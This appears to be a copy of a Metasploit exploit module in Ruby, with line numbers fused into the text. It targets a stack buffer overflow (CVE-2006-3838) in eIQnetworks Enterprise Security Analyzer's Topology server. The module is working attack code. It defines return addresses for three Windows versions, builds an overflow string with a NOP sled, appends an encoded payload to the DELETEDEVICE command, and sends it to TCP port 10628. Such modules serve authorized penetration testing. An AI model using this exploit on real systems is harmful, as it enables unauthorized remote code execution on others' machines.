Path: blob/master/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in eIQnetworks17Enterprise Security Analyzer. During the processing of18long arguments to the DELETEDEVICE command in the Topology19server, a stack-based buffer overflow occurs.2021This module has only been tested against ESA v2.1.13.22},23'Author' => 'MC',24'References' => [25['CVE', '2006-3838'],26['OSVDB', '27528'],27['BID', '19164'],28],29'DefaultOptions' => {30'EXITFUNC' => 'seh',31},32'Payload' => {33'Space' => 250,34'BadChars' => "\x00\x0a\x0d\x20",35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],40[ 'Windows XP SP2 English', { 'Ret' => 0x77d57447 } ],41[ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],42],43'Privileged' => false,44'DisclosureDate' => '2006-07-25',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55Opt::RPORT(10628)56]57)58end5960def exploit61connect6263print_status("Trying target #{target.name}...")6465filler = rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)6667sploit = "DELETEDEVICE&" + filler + payload.encoded6869sock.put(sploit)7071handler72disconnect73end74end757677